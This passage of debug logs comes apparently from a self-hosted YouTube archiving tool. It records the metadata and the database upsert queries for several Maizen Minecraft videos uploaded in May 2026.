(m0."id" = ?) [1] 17:34:21.131 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 17:34:21.131 [debug] Current batch of media processed. Will check again in 1000ms 17:34:22.132 [debug] Current batch of media processed. Will check again in 1000ms 17:34:23.133 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 17:34:23.134 [debug] QUERY OK source="sources" db=0.3ms idle=850.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:23.134 [debug] QUERY OK source="sources" db=0.1ms idle=850.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:23.136 [debug] QUERY OK source="media_items" db=1.3ms idle=851.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 17:34:23.137 [debug] QUERY OK source="media_items" db=0.6ms idle=852.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "729ba345-9920-4173-b32e-e02ef5a302de", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 00:34:23Z], ~U[2026-08-20 00:34:23Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 17:34:23.137 [debug] QUERY OK source="sources" db=0.2ms idle=74.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:23.137 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:23.138 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 17:34:23.138 [debug] Current batch of media processed. Will check again in 1000ms 17:34:24.139 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 17:34:24.140 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:24.140 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:24.142 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 17:34:24.143 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "01c96d49-dc8b-49c6-a55e-2a6f1c7837f6", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 00:34:24Z], ~U[2026-08-20 00:34:24Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 17:34:24.143 [debug] QUERY OK source="sources" db=0.2ms idle=78.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:24.143 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:24.144 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 17:34:24.144 [debug] Current batch of media processed. Will check again in 1000ms 17:34:25.145 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 17:34:25.145 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:25.146 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:25.147 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 17:34:25.148 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "1fe8f1ea-cc9f-4a61-be3a-00b4315f07de", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 00:34:25Z], ~U[2026-08-20 00:34:25Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 17:34:25.149 [debug] QUERY OK source="sources" db=0.1ms idle=82.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:25.149 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:25.149 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 17:34:25.149 [debug] Current batch of media processed. Will check again in 1000ms 17:34:26.150 [debug] Current batch of media processed. Will check again in 1000ms 17:34:27.151 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 17:34:27.152 [debug] QUERY OK source="sources" db=0.2ms idle=868.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:27.152 [debug] QUERY OK source="sources" db=0.1ms idle=869.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:27.154 [debug] QUERY OK source="media_items" db=1.4ms idle=869.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 17:34:27.155 [debug] QUERY OK source="media_items" db=0.7ms idle=871.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "459f52cd-053d-4b15-a5b6-249c34f7f509", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 00:34:27Z], ~U[2026-08-20 00:34:27Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 17:34:27.155 [debug] QUERY OK source="sources" db=0.1ms idle=87.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:27.156 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:27.156 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 17:34:27.156 [debug] Current batch of media processed. Will check again in 1000ms 17:34:28.157 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => 